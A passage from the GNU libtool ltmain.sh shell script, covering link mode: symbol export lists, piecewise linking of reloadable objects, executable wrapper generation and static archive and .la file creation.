\ || test "$max_cmd_len" -le -1; } then func_show_eval "$cmd" 'exit $?' skipped_export=false elif test -n "$nm_file_list_spec"; then func_basename "$output" output_la=$func_basename_result save_libobjs=$libobjs save_output=$output output=${output_objdir}/${output_la}.nm func_to_tool_file "$output" libobjs=$nm_file_list_spec$func_to_tool_file_result func_append delfiles " $output" func_verbose "creating $NM input file list: $output" for obj in $save_libobjs; do func_to_tool_file "$obj" $ECHO "$func_to_tool_file_result" done > "$output" eval cmd=\"$cmd1\" func_show_eval "$cmd" 'exit $?' output=$save_output libobjs=$save_libobjs skipped_export=false else # The command line is too long to execute in one step. func_verbose "using reloadable object file for export list..." skipped_export=: # Break out early, otherwise skipped_export may be # set to false by a later but shorter cmd. break fi done IFS="$save_ifs" if test -n "$export_symbols_regex" && test "X$skipped_export" != "X:"; then func_show_eval '$EGREP -e "$export_symbols_regex" "$export_symbols" > "${export_symbols}T"' func_show_eval '$MV "${export_symbols}T" "$export_symbols"' fi fi fi if test -n "$export_symbols" && test -n "$include_expsyms"; then tmp_export_symbols="$export_symbols" test -n "$orig_export_symbols" && tmp_export_symbols="$orig_export_symbols" $opt_dry_run || eval '$ECHO "$include_expsyms" | $SP2NL >> "$tmp_export_symbols"' fi if test "X$skipped_export" != "X:" && test -n "$orig_export_symbols"; then # The given exports_symbols file has to be filtered, so filter it. func_verbose "filter symbol list for \`$libname.la' to tag DATA exports" # FIXME: $output_objdir/$libname.filter potentially contains lots of # 's' commands which not all seds can handle. GNU sed should be fine # though. Also, the filter scales superlinearly with the number of # global variables. join(1) would be nice here, but unfortunately # isn't a blessed tool. $opt_dry_run || $SED -e '/[ ,]DATA/!d;s,\(.*\)\([ \,].*\),s|^\1$|\1\2|,' < $export_symbols > $output_objdir/$libname.filter func_append delfiles " $export_symbols $output_objdir/$libname.filter" export_symbols=$output_objdir/$libname.def $opt_dry_run || $SED -f $output_objdir/$libname.filter < $orig_export_symbols > $export_symbols fi tmp_deplibs= for test_deplib in $deplibs; do case " $convenience " in *" $test_deplib "*) ;; *) func_append tmp_deplibs " $test_deplib" ;; esac done deplibs="$tmp_deplibs" if test -n "$convenience"; then if test -n "$whole_archive_flag_spec" && test "$compiler_needs_object" = yes && test -z "$libobjs"; then # extract the archives, so we have objects to list. # TODO: could optimize this to just extract one archive. whole_archive_flag_spec= fi if test -n "$whole_archive_flag_spec"; then save_libobjs=$libobjs eval libobjs=\"\$libobjs $whole_archive_flag_spec\" test "X$libobjs" = "X " && libobjs= else gentop="$output_objdir/${outputname}x" func_append generated " $gentop" func_extract_archives $gentop $convenience func_append libobjs " $func_extract_archives_result" test "X$libobjs" = "X " && libobjs= fi fi if test "$thread_safe" = yes && test -n "$thread_safe_flag_spec"; then eval flag=\"$thread_safe_flag_spec\" func_append linker_flags " $flag" fi # Make a backup of the uninstalled library when relinking if test "$opt_mode" = relink; then $opt_dry_run || eval '(cd $output_objdir && $RM ${realname}U && $MV $realname ${realname}U)' || exit $? fi # Do each of the archive commands. if test "$module" = yes && test -n "$module_cmds" ; then if test -n "$export_symbols" && test -n "$module_expsym_cmds"; then eval test_cmds=\"$module_expsym_cmds\" cmds=$module_expsym_cmds else eval test_cmds=\"$module_cmds\" cmds=$module_cmds fi else if test -n "$export_symbols" && test -n "$archive_expsym_cmds"; then eval test_cmds=\"$archive_expsym_cmds\" cmds=$archive_expsym_cmds else eval test_cmds=\"$archive_cmds\" cmds=$archive_cmds fi fi if test "X$skipped_export" != "X:" && func_len " $test_cmds" && len=$func_len_result && test "$len" -lt "$max_cmd_len" || test "$max_cmd_len" -le -1; then : else # The command line is too long to link in one step, link piecewise # or, if using GNU ld and skipped_export is not :, use a linker # script. # Save the value of $output and $libobjs because we want to # use them later. If we have whole_archive_flag_spec, we # want to use save_libobjs as it was before # whole_archive_flag_spec was expanded, because we can't # assume the linker understands whole_archive_flag_spec. # This may have to be revisited, in case too many # convenience libraries get linked in and end up exceeding # the spec. if test -z "$convenience" || test -z "$whole_archive_flag_spec"; then save_libobjs=$libobjs fi save_output=$output func_basename "$output" output_la=$func_basename_result # Clear the reloadable object creation command queue and # initialize k to one. test_cmds= concat_cmds= objlist= last_robj= k=1 if test -n "$save_libobjs" && test "X$skipped_export" != "X:" && test "$with_gnu_ld" = yes; then output=${output_objdir}/${output_la}.lnkscript func_verbose "creating GNU ld script: $output" echo 'INPUT (' > $output for obj in $save_libobjs do func_to_tool_file "$obj" $ECHO "$func_to_tool_file_result" >> $output done echo ')' >> $output func_append delfiles " $output" func_to_tool_file "$output" output=$func_to_tool_file_result elif test -n "$save_libobjs" && test "X$skipped_export" != "X:" && test "X$file_list_spec" != X; then output=${output_objdir}/${output_la}.lnk func_verbose "creating linker input file list: $output" : > $output set x $save_libobjs shift firstobj= if test "$compiler_needs_object" = yes; then firstobj="$1 " shift fi for obj do func_to_tool_file "$obj" $ECHO "$func_to_tool_file_result" >> $output done func_append delfiles " $output" func_to_tool_file "$output" output=$firstobj\"$file_list_spec$func_to_tool_file_result\" else if test -n "$save_libobjs"; then func_verbose "creating reloadable object files..." output=$output_objdir/$output_la-${k}.$objext eval test_cmds=\"$reload_cmds\" func_len " $test_cmds" len0=$func_len_result len=$len0 # Loop over the list of objects to be linked. for obj in $save_libobjs do func_len " $obj" func_arith $len + $func_len_result len=$func_arith_result if test "X$objlist" = X || test "$len" -lt "$max_cmd_len"; then func_append objlist " $obj" else # The command $test_cmds is almost too long, add a # command to the queue. if test "$k" -eq 1 ; then # The first file doesn't have a previous command to add. reload_objs=$objlist eval concat_cmds=\"$reload_cmds\" else # All subsequent reloadable object files will link in # the last one created. reload_objs="$objlist $last_robj" eval concat_cmds=\"\$concat_cmds~$reload_cmds~\$RM $last_robj\" fi last_robj=$output_objdir/$output_la-${k}.$objext func_arith $k + 1 k=$func_arith_result output=$output_objdir/$output_la-${k}.$objext objlist=" $obj" func_len " $last_robj" func_arith $len0 + $func_len_result len=$func_arith_result fi done # Handle the remaining objects by creating one last # reloadable object file. All subsequent reloadable object # files will link in the last one created. test -z "$concat_cmds" || concat_cmds=$concat_cmds~ reload_objs="$objlist $last_robj" eval concat_cmds=\"\${concat_cmds}$reload_cmds\" if test -n "$last_robj"; then eval concat_cmds=\"\${concat_cmds}~\$RM $last_robj\" fi func_append delfiles " $output" else output= fi if ${skipped_export-false}; then func_verbose "generating symbol list for \`$libname.la'" export_symbols="$output_objdir/$libname.exp" $opt_dry_run || $RM $export_symbols libobjs=$output # Append the command to create the export file. test -z "$concat_cmds" || concat_cmds=$concat_cmds~ eval concat_cmds=\"\$concat_cmds$export_symbols_cmds\" if test -n "$last_robj"; then eval concat_cmds=\"\$concat_cmds~\$RM $last_robj\" fi fi test -n "$save_libobjs" && func_verbose "creating a temporary reloadable object file: $output" # Loop through the commands generated above and execute them. save_ifs="$IFS"; IFS='~' for cmd in $concat_cmds; do IFS="$save_ifs" $opt_silent || { func_quote_for_expand "$cmd" eval "func_echo $func_quote_for_expand_result" } $opt_dry_run || eval "$cmd" || { lt_exit=$? # Restore the uninstalled library and exit if test "$opt_mode" = relink; then ( cd "$output_objdir" && \ $RM "${realname}T" && \ $MV "${realname}U" "$realname" ) fi exit $lt_exit } done IFS="$save_ifs" if test -n "$export_symbols_regex" && ${skipped_export-false}; then func_show_eval '$EGREP -e "$export_symbols_regex" "$export_symbols" > "${export_symbols}T"' func_show_eval '$MV "${export_symbols}T" "$export_symbols"' fi fi if ${skipped_export-false}; then if test -n "$export_symbols" && test -n "$include_expsyms"; then tmp_export_symbols="$export_symbols" test -n "$orig_export_symbols" && tmp_export_symbols="$orig_export_symbols" $opt_dry_run || eval '$ECHO "$include_expsyms" | $SP2NL >> "$tmp_export_symbols"' fi if test -n "$orig_export_symbols"; then # The given exports_symbols file has to be filtered, so filter it. func_verbose "filter symbol list for \`$libname.la' to tag DATA exports" # FIXME: $output_objdir/$libname.filter potentially contains lots of # 's' commands which not all seds can handle. GNU sed should be fine # though. Also, the filter scales superlinearly with the number of # global variables. join(1) would be nice here, but unfortunately # isn't a blessed tool. $opt_dry_run || $SED -e '/[ ,]DATA/!d;s,\(.*\)\([ \,].*\),s|^\1$|\1\2|,' < $export_symbols > $output_objdir/$libname.filter func_append delfiles " $export_symbols $output_objdir/$libname.filter" export_symbols=$output_objdir/$libname.def $opt_dry_run || $SED -f $output_objdir/$libname.filter < $orig_export_symbols > $export_symbols fi fi libobjs=$output # Restore the value of output. output=$save_output if test -n "$convenience" && test -n "$whole_archive_flag_spec"; then eval libobjs=\"\$libobjs $whole_archive_flag_spec\" test "X$libobjs" = "X " && libobjs= fi # Expand the library linking commands again to reset the # value of $libobjs for piecewise linking. # Do each of the archive commands. if test "$module" = yes && test -n "$module_cmds" ; then if test -n "$export_symbols" && test -n "$module_expsym_cmds"; then cmds=$module_expsym_cmds else cmds=$module_cmds fi else if test -n "$export_symbols" && test -n "$archive_expsym_cmds"; then cmds=$archive_expsym_cmds else cmds=$archive_cmds fi fi fi if test -n "$delfiles"; then # Append the command to remove temporary files to $cmds. eval cmds=\"\$cmds~\$RM $delfiles\" fi # Add any objects from preloaded convenience libraries if test -n "$dlprefiles"; then gentop="$output_objdir/${outputname}x" func_append generated " $gentop" func_extract_archives $gentop $dlprefiles func_append libobjs " $func_extract_archives_result" test "X$libobjs" = "X " && libobjs= fi save_ifs="$IFS"; IFS='~' for cmd in $cmds; do IFS="$save_ifs" eval cmd=\"$cmd\" $opt_silent || { func_quote_for_expand "$cmd" eval "func_echo $func_quote_for_expand_result" } $opt_dry_run || eval "$cmd" || { lt_exit=$? # Restore the uninstalled library and exit if test "$opt_mode" = relink; then ( cd "$output_objdir" && \ $RM "${realname}T" && \ $MV "${realname}U" "$realname" ) fi exit $lt_exit } done IFS="$save_ifs" # Restore the uninstalled library and exit if test "$opt_mode" = relink; then $opt_dry_run || eval '(cd $output_objdir && $RM ${realname}T && $MV $realname ${realname}T && $MV ${realname}U $realname)' || exit $? if test -n "$convenience"; then if test -z "$whole_archive_flag_spec"; then func_show_eval '${RM}r "$gentop"' fi fi exit $EXIT_SUCCESS fi # Create links to the real library. for linkname in $linknames; do if test "$realname" != "$linkname"; then func_show_eval '(cd "$output_objdir" && $RM "$linkname" && $LN_S "$realname" "$linkname")' 'exit $?' fi done # If -module or -export-dynamic was specified, set the dlname. if test "$module" = yes || test "$export_dynamic" = yes; then # On all known operating systems, these are identical. dlname="$soname" fi fi ;; obj) if test -n "$dlfiles$dlprefiles" || test "$dlself" != no; then func_warning "\`-dlopen' is ignored for objects" fi case " $deplibs" in *\ -l* | *\ -L*) func_warning "\`-l' and \`-L' are ignored for objects" ;; esac test -n "$rpath" && \ func_warning "\`-rpath' is ignored for objects" test -n "$xrpath" && \ func_warning "\`-R' is ignored for objects" test -n "$vinfo" && \ func_warning "\`-version-info' is ignored for objects" test -n "$release" && \ func_warning "\`-release' is ignored for objects" case $output in *.lo) test -n "$objs$old_deplibs" && \ func_fatal_error "cannot build library object \`$output' from non-libtool objects" libobj=$output func_lo2o "$libobj" obj=$func_lo2o_result ;; *) libobj= obj="$output" ;; esac # Delete the old objects. $opt_dry_run || $RM $obj $libobj # Objects from convenience libraries. This assumes # single-version convenience libraries. Whenever we create # different ones for PIC/non-PIC, this we'll have to duplicate # the extraction. reload_conv_objs= gentop= # reload_cmds runs $LD directly, so let us get rid of # -Wl from whole_archive_flag_spec and hope we can get by with # turning comma into space.. wl= if test -n "$convenience"; then if test -n "$whole_archive_flag_spec"; then eval tmp_whole_archive_flags=\"$whole_archive_flag_spec\" reload_conv_objs=$reload_objs\ `$ECHO "$tmp_whole_archive_flags" | $SED 's|,| |g'` else gentop="$output_objdir/${obj}x" func_append generated " $gentop" func_extract_archives $gentop $convenience reload_conv_objs="$reload_objs $func_extract_archives_result" fi fi # If we're not building shared, we need to use non_pic_objs test "$build_libtool_libs" != yes && libobjs="$non_pic_objects" # Create the old-style object. reload_objs="$objs$old_deplibs "`$ECHO "$libobjs" | $SP2NL | $SED "/\.${libext}$/d; /\.lib$/d; $lo2o" | $NL2SP`" $reload_conv_objs" ### testsuite: skip nested quoting test output="$obj" func_execute_cmds "$reload_cmds" 'exit $?' # Exit if we aren't doing a library object file. if test -z "$libobj"; then if test -n "$gentop"; then func_show_eval '${RM}r "$gentop"' fi exit $EXIT_SUCCESS fi if test "$build_libtool_libs" != yes; then if test -n "$gentop"; then func_show_eval '${RM}r "$gentop"' fi # Create an invalid libtool object if no PIC, so that we don't # accidentally link it into a program. # $show "echo timestamp > $libobj" # $opt_dry_run || eval "echo timestamp > $libobj" || exit $? exit $EXIT_SUCCESS fi if test -n "$pic_flag" || test "$pic_mode" != default; then # Only do commands if we really have different PIC objects. reload_objs="$libobjs $reload_conv_objs" output="$libobj" func_execute_cmds "$reload_cmds" 'exit $?' fi if test -n "$gentop"; then func_show_eval '${RM}r "$gentop"' fi exit $EXIT_SUCCESS ;; prog) case $host in *cygwin*) func_stripname '' '.exe' "$output" output=$func_stripname_result.exe;; esac test -n "$vinfo" && \ func_warning "\`-version-info' is ignored for programs" test -n "$release" && \ func_warning "\`-release' is ignored for programs" test "$preload" = yes \ && test "$dlopen_support" = unknown \ && test "$dlopen_self" = unknown \ && test "$dlopen_self_static" = unknown && \ func_warning "\`LT_INIT([dlopen])' not used. Assuming no dlopen support." case $host in *-*-rhapsody* | *-*-darwin1.[012]) # On Rhapsody replace the C library is the System framework compile_deplibs=`$ECHO " $compile_deplibs" | $SED 's/ -lc / System.ltframework /'` finalize_deplibs=`$ECHO " $finalize_deplibs" | $SED 's/ -lc / System.ltframework /'` ;; esac case $host in *-*-darwin*) # Don't allow lazy linking, it breaks C++ global constructors # But is supposedly fixed on 10.4 or later (yay!). if test "$tagname" = CXX ; then case ${MACOSX_DEPLOYMENT_TARGET-10.0} in 10.[0123]) func_append compile_command " ${wl}-bind_at_load" func_append finalize_command " ${wl}-bind_at_load" ;; esac fi # Time to change all our "foo.ltframework" stuff back to "-framework foo" compile_deplibs=`$ECHO " $compile_deplibs" | $SED 's% \([^ $]*\).ltframework% -framework \1%g'` finalize_deplibs=`$ECHO " $finalize_deplibs" | $SED 's% \([^ $]*\).ltframework% -framework \1%g'` ;; esac # move library search paths that coincide with paths to not yet # installed libraries to the beginning of the library search list new_libs= for path in $notinst_path; do case " $new_libs " in *" -L$path/$objdir "*) ;; *) case " $compile_deplibs " in *" -L$path/$objdir "*) func_append new_libs " -L$path/$objdir" ;; esac ;; esac done for deplib in $compile_deplibs; do case $deplib in -L*) case " $new_libs " in *" $deplib "*) ;; *) func_append new_libs " $deplib" ;; esac ;; *) func_append new_libs " $deplib" ;; esac done compile_deplibs="$new_libs" func_append compile_command " $compile_deplibs" func_append finalize_command " $finalize_deplibs" if test -n "$rpath$xrpath"; then # If the user specified any rpath flags, then add them. for libdir in $rpath $xrpath; do # This is the magic to use -rpath. case "$finalize_rpath " in *" $libdir "*) ;; *) func_append finalize_rpath " $libdir" ;; esac done fi # Now hardcode the library paths rpath= hardcode_libdirs= for libdir in $compile_rpath $finalize_rpath; do if test -n "$hardcode_libdir_flag_spec"; then if test -n "$hardcode_libdir_separator"; then if test -z "$hardcode_libdirs"; then hardcode_libdirs="$libdir" else # Just accumulate the unique libdirs. case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*) ;; *) func_append hardcode_libdirs "$hardcode_libdir_separator$libdir" ;; esac fi else eval flag=\"$hardcode_libdir_flag_spec\" func_append rpath " $flag" fi elif test -n "$runpath_var"; then case "$perm_rpath " in *" $libdir "*) ;; *) func_append perm_rpath " $libdir" ;; esac fi case $host in *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2* | *-cegcc*) testbindir=`${ECHO} "$libdir" | ${SED} -e 's*/lib$*/bin*'` case :$dllsearchpath: in *":$libdir:"*) ;; ::) dllsearchpath=$libdir;; *) func_append dllsearchpath ":$libdir";; esac case :$dllsearchpath: in *":$testbindir:"*) ;; ::) dllsearchpath=$testbindir;; *) func_append dllsearchpath ":$testbindir";; esac ;; esac done # Substitute the hardcoded libdirs into the rpath. if test -n "$hardcode_libdir_separator" && test -n "$hardcode_libdirs"; then libdir="$hardcode_libdirs" eval rpath=\" $hardcode_libdir_flag_spec\" fi compile_rpath="$rpath" rpath= hardcode_libdirs= for libdir in $finalize_rpath; do if test -n "$hardcode_libdir_flag_spec"; then if test -n "$hardcode_libdir_separator"; then if test -z "$hardcode_libdirs"; then hardcode_libdirs="$libdir" else # Just accumulate the unique libdirs. case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*) ;; *) func_append hardcode_libdirs "$hardcode_libdir_separator$libdir" ;; esac fi else eval flag=\"$hardcode_libdir_flag_spec\" func_append rpath " $flag" fi elif test -n "$runpath_var"; then case "$finalize_perm_rpath " in *" $libdir "*) ;; *) func_append finalize_perm_rpath " $libdir" ;; esac fi done # Substitute the hardcoded libdirs into the rpath. if test -n "$hardcode_libdir_separator" && test -n "$hardcode_libdirs"; then libdir="$hardcode_libdirs" eval rpath=\" $hardcode_libdir_flag_spec\" fi finalize_rpath="$rpath" if test -n "$libobjs" && test "$build_old_libs" = yes; then # Transform all the library objects into standard objects. compile_command=`$ECHO "$compile_command" | $SP2NL | $SED "$lo2o" | $NL2SP` finalize_command=`$ECHO "$finalize_command" | $SP2NL | $SED "$lo2o" | $NL2SP` fi func_generate_dlsyms "$outputname" "@PROGRAM@" "no" # template prelinking step if test -n "$prelink_cmds"; then func_execute_cmds "$prelink_cmds" 'exit $?' fi wrappers_required=yes case $host in *cegcc* | *mingw32ce*) # Disable wrappers for cegcc and mingw32ce hosts, we are cross compiling anyway. wrappers_required=no ;; *cygwin* | *mingw* ) if test "$build_libtool_libs" != yes; then wrappers_required=no fi ;; *) if test "$need_relink" = no || test "$build_libtool_libs" != yes; then wrappers_required=no fi ;; esac if test "$wrappers_required" = no; then # Replace the output file specification. compile_command=`$ECHO "$compile_command" | $SED 's%@OUTPUT@%'"$output"'%g'` link_command="$compile_command$compile_rpath" # We have no uninstalled library dependencies, so finalize right now. exit_status=0 func_show_eval "$link_command" 'exit_status=$?' if test -n "$postlink_cmds"; then func_to_tool_file "$output" postlink_cmds=`func_echo_all "$postlink_cmds" | $SED -e 's%@OUTPUT@%'"$output"'%g' -e 's%@TOOL_OUTPUT@%'"$func_to_tool_file_result"'%g'` func_execute_cmds "$postlink_cmds" 'exit $?' fi # Delete the generated files. if test -f "$output_objdir/${outputname}S.${objext}"; then func_show_eval '$RM "$output_objdir/${outputname}S.${objext}"' fi exit $exit_status fi if test -n "$compile_shlibpath$finalize_shlibpath"; then compile_command="$shlibpath_var=\"$compile_shlibpath$finalize_shlibpath\$$shlibpath_var\" $compile_command" fi if test -n "$finalize_shlibpath"; then finalize_command="$shlibpath_var=\"$finalize_shlibpath\$$shlibpath_var\" $finalize_command" fi compile_var= finalize_var= if test -n "$runpath_var"; then if test -n "$perm_rpath"; then # We should set the runpath_var. rpath= for dir in $perm_rpath; do func_append rpath "$dir:" done compile_var="$runpath_var=\"$rpath\$$runpath_var\" " fi if test -n "$finalize_perm_rpath"; then # We should set the runpath_var. rpath= for dir in $finalize_perm_rpath; do func_append rpath "$dir:" done finalize_var="$runpath_var=\"$rpath\$$runpath_var\" " fi fi if test "$no_install" = yes; then # We don't need to create a wrapper script. link_command="$compile_var$compile_command$compile_rpath" # Replace the output file specification. link_command=`$ECHO "$link_command" | $SED 's%@OUTPUT@%'"$output"'%g'` # Delete the old output file. $opt_dry_run || $RM $output # Link the executable and exit func_show_eval "$link_command" 'exit $?' if test -n "$postlink_cmds"; then func_to_tool_file "$output" postlink_cmds=`func_echo_all "$postlink_cmds" | $SED -e 's%@OUTPUT@%'"$output"'%g' -e 's%@TOOL_OUTPUT@%'"$func_to_tool_file_result"'%g'` func_execute_cmds "$postlink_cmds" 'exit $?' fi exit $EXIT_SUCCESS fi if test "$hardcode_action" = relink; then # Fast installation is not supported link_command="$compile_var$compile_command$compile_rpath" relink_command="$finalize_var$finalize_command$finalize_rpath" func_warning "this platform does not like uninstalled shared libraries" func_warning "\`$output' will be relinked during installation" else if test "$fast_install" != no; then link_command="$finalize_var$compile_command$finalize_rpath" if test "$fast_install" = yes; then relink_command=`$ECHO "$compile_var$compile_command$compile_rpath" | $SED 's%@OUTPUT@%\$progdir/\$file%g'` else # fast_install is set to needless relink_command= fi else link_command="$compile_var$compile_command$compile_rpath" relink_command="$finalize_var$finalize_command$finalize_rpath" fi fi # Replace the output file specification. link_command=`$ECHO "$link_command" | $SED 's%@OUTPUT@%'"$output_objdir/$outputname"'%g'` # Delete the old output files. $opt_dry_run || $RM $output $output_objdir/$outputname $output_objdir/lt-$outputname func_show_eval "$link_command" 'exit $?' if test -n "$postlink_cmds"; then func_to_tool_file "$output_objdir/$outputname" postlink_cmds=`func_echo_all "$postlink_cmds" | $SED -e 's%@OUTPUT@%'"$output_objdir/$outputname"'%g' -e 's%@TOOL_OUTPUT@%'"$func_to_tool_file_result"'%g'` func_execute_cmds "$postlink_cmds" 'exit $?' fi # Now create the wrapper script. func_verbose "creating $output" # Quote the relink command for shipping. if test -n "$relink_command"; then # Preserve any variables that may affect compiler behavior for var in $variables_saved_for_relink; do if eval test -z \"\${$var+set}\"; then relink_command="{ test -z \"\${$var+set}\" || $lt_unset $var || { $var=; export $var; }; }; $relink_command" elif eval var_value=\$$var; test -z "$var_value"; then relink_command="$var=; export $var; $relink_command" else func_quote_for_eval "$var_value" relink_command="$var=$func_quote_for_eval_result; export $var; $relink_command" fi done relink_command="(cd `pwd`; $relink_command)" relink_command=`$ECHO "$relink_command" | $SED "$sed_quote_subst"` fi # Only actually do things if not in dry run mode. $opt_dry_run || { # win32 will think the script is a binary if it has # a .exe suffix, so we strip it off here. case $output in *.exe) func_stripname '' '.exe' "$output" output=$func_stripname_result ;; esac # test for cygwin because mv fails w/o .exe extensions case $host in *cygwin*) exeext=.exe func_stripname '' '.exe' "$outputname" outputname=$func_stripname_result ;; *) exeext= ;; esac case $host in *cygwin* | *mingw* ) func_dirname_and_basename "$output" "" "." output_name=$func_basename_result output_path=$func_dirname_result cwrappersource="$output_path/$objdir/lt-$output_name.c" cwrapper="$output_path/$output_name.exe" $RM $cwrappersource $cwrapper trap "$RM $cwrappersource $cwrapper; exit $EXIT_FAILURE" 1 2 15 func_emit_cwrapperexe_src > $cwrappersource # The wrapper executable is built using the $host compiler, # because it contains $host paths and files. If cross- # compiling, it, like the target executable, must be # executed on the $host or under an emulation environment. $opt_dry_run || { $LTCC $LTCFLAGS -o $cwrapper $cwrappersource $STRIP $cwrapper } # Now, create the wrapper script for func_source use: func_ltwrapper_scriptname $cwrapper $RM $func_ltwrapper_scriptname_result trap "$RM $func_ltwrapper_scriptname_result; exit $EXIT_FAILURE" 1 2 15 $opt_dry_run || { # note: this script will not be executed, so do not chmod. if test "x$build" = "x$host" ; then $cwrapper --lt-dump-script > $func_ltwrapper_scriptname_result else func_emit_wrapper no > $func_ltwrapper_scriptname_result fi } ;; * ) $RM $output trap "$RM $output; exit $EXIT_FAILURE" 1 2 15 func_emit_wrapper no > $output chmod +x $output ;; esac } exit $EXIT_SUCCESS ;; esac # See if we need to build an old-fashioned archive. for oldlib in $oldlibs; do if test "$build_libtool_libs" = convenience; then oldobjs="$libobjs_save $symfileobj" addlibs="$convenience" build_libtool_libs=no else if test "$build_libtool_libs" = module; then oldobjs="$libobjs_save" build_libtool_libs=no else oldobjs="$old_deplibs $non_pic_objects" if test "$preload" = yes && test -f "$symfileobj"; then func_append oldobjs " $symfileobj" fi fi addlibs="$old_convenience" fi if test -n "$addlibs"; then gentop="$output_objdir/${outputname}x" func_append generated " $gentop" func_extract_archives $gentop $addlibs func_append oldobjs " $func_extract_archives_result" fi # Do each command in the archive commands. if test -n "$old_archive_from_new_cmds" && test "$build_libtool_libs" = yes; then cmds=$old_archive_from_new_cmds else # Add any objects from preloaded convenience libraries if test -n "$dlprefiles"; then gentop="$output_objdir/${outputname}x" func_append generated " $gentop" func_extract_archives $gentop $dlprefiles func_append oldobjs " $func_extract_archives_result" fi # POSIX demands no paths to be encoded in archives. We have # to avoid creating archives with duplicate basenames if we # might have to extract them afterwards, e.g., when creating a # static archive out of a convenience library, or when linking # the entirety of a libtool archive into another (currently # not supported by libtool). if (for obj in $oldobjs do func_basename "$obj" $ECHO "$func_basename_result" done | sort | sort -uc >/dev/null 2>&1); then : else echo "copying selected object files to avoid basename conflicts..." gentop="$output_objdir/${outputname}x" func_append generated " $gentop" func_mkdir_p "$gentop" save_oldobjs=$oldobjs oldobjs= counter=1 for obj in $save_oldobjs do func_basename "$obj" objbase="$func_basename_result" case " $oldobjs " in " ") oldobjs=$obj ;; *[\ /]"$objbase "*) while :; do # Make sure we don't pick an alternate name that also # overlaps. newobj=lt$counter-$objbase func_arith $counter + 1 counter=$func_arith_result case " $oldobjs " in *[\ /]"$newobj "*) ;; *) if test ! -f "$gentop/$newobj"; then break; fi ;; esac done func_show_eval "ln $obj $gentop/$newobj || cp $obj $gentop/$newobj" func_append oldobjs " $gentop/$newobj" ;; *) func_append oldobjs " $obj" ;; esac done fi func_to_tool_file "$oldlib" func_convert_file_msys_to_w32 tool_oldlib=$func_to_tool_file_result eval cmds=\"$old_archive_cmds\" func_len " $cmds" len=$func_len_result if test "$len" -lt "$max_cmd_len" || test "$max_cmd_len" -le -1; then cmds=$old_archive_cmds elif test -n "$archiver_list_spec"; then func_verbose "using command file archive linking..." for obj in $oldobjs do func_to_tool_file "$obj" $ECHO "$func_to_tool_file_result" done > $output_objdir/$libname.libcmd func_to_tool_file "$output_objdir/$libname.libcmd" oldobjs=" $archiver_list_spec$func_to_tool_file_result" cmds=$old_archive_cmds else # the command line is too long to link in one step, link in parts func_verbose "using piecewise archive linking..." save_RANLIB=$RANLIB RANLIB=: objlist= concat_cmds= save_oldobjs=$oldobjs oldobjs= # Is there a better way of finding the last object in the list? for obj in $save_oldobjs do last_oldobj=$obj done eval test_cmds=\"$old_archive_cmds\" func_len " $test_cmds" len0=$func_len_result len=$len0 for obj in $save_oldobjs do func_len " $obj" func_arith $len + $func_len_result len=$func_arith_result func_append objlist " $obj" if test "$len" -lt "$max_cmd_len"; then : else # the above command should be used before it gets too long oldobjs=$objlist if test "$obj" = "$last_oldobj" ; then RANLIB=$save_RANLIB fi test -z "$concat_cmds" || concat_cmds=$concat_cmds~ eval concat_cmds=\"\${concat_cmds}$old_archive_cmds\" objlist= len=$len0 fi done RANLIB=$save_RANLIB oldobjs=$objlist if test "X$oldobjs" = "X" ; then eval cmds=\"\$concat_cmds\" else eval cmds=\"\$concat_cmds~\$old_archive_cmds\" fi fi fi func_execute_cmds "$cmds" 'exit $?' done test -n "$generated" && \ func_show_eval "${RM}r$generated" # Now create the libtool archive. case $output in *.la) old_library= test "$build_old_libs" = yes && old_library="$libname.$libext" func_verbose "creating $output" # Preserve any variables that may affect compiler behavior for var in $variables_saved_for_relink; do if eval test -z \"\${$var+set}\"; then relink_command="{ test -z \"\${$var+set}\" || $lt_unset $var || { $var=; export $var; }; }; $relink_command" elif eval var_value=\$$var; test -z "$var_value"; then relink_command="$var=; export $var; $relink_command" else func_quote_for_eval "$var_value" relink_command="$var=$func_quote_for_eval_result; export $var; $relink_command" fi done # Quote the link command for shipping. relink_command="(cd `pwd`; $SHELL $progpath $preserve_args --mode=relink $libtool_args @inst_prefix_dir@)" relink_command=`$ECHO "$relink_command" | $SED "$sed_quote_subst"` if test "$hardcode_automatic" = yes ; then relink_command= fi # Only create the output if not a dry run. $opt_dry_run || { for installed in no yes; do if test "$installed" = yes; then if test -z "$install_libdir"; then break fi output="$output_objdir/$outputname"i # Replace all uninstalled libtool libraries with the installed ones newdependency_libs= for deplib in $dependency_libs; do case $deplib in *.la) func_basename "$deplib" name="$func_basename_result" func_resolve_sysroot "$deplib" eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $func_resolve_sysroot_result` test -z "$libdir" && \ func_fatal_error "\`$deplib' is not a valid libtool archive" func_append newdependency_libs " ${lt_sysroot:+=}$libdir/$name" ;; -L*) func_stripname -L '' "$deplib" func_replace_sysroot "$func_stripname_result" func_append newdependency_libs " -L$func_replace_sysroot_result" ;; -R*) func_stripname -R '' "$deplib" func_replace_sysroot "$func_stripname_result" func_append newdependency_libs " -R$func_replace_sysroot_result" ;; *) func_append newdependency_libs " $deplib" ;; esac done dependency_libs="$newdependency_libs" newdlfiles= for lib in $dlfiles; do case $lib in *.la) func_basename "$lib" name="$func_basename_result" eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $lib` test -z "$libdir" && \ func_fatal_error "\`$lib' is not a valid libtool archive" func_append newdlfiles " ${lt_sysroot:+=}$libdir/$name" ;; *) func_append newdlfiles " $lib" ;; esac done dlfiles="$newdlfiles" newdlprefiles= for lib in $dlprefiles; do case $lib in *.la) # Only pass preopened files to the pseudo-archive (for # eventual linking with the app. that links it) if we # didn't already link the preopened objects directly into # the library: func_basename "$lib" name="$func_basename_result" eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $lib` test -z "$libdir" && \ func_fatal_error "\`$lib' is not a valid libtool archive" func_append newdlprefiles " ${lt_sysroot:+=}$libdir/$name" ;; esac done dlprefiles="$newdlprefiles" else newdlfiles= for lib in $dlfiles; do case $lib in [\\/]* | [A-Za-z]:[\\/]*) abs="$lib" ;; *) abs=`pwd`"/$lib" ;; esac func_append newdlfiles " $abs" done dlfiles="$newdlfiles" newdlprefiles= for lib in $dlprefiles; do case $lib in [\\/]* | [A-Za-z]:[\\/]*) 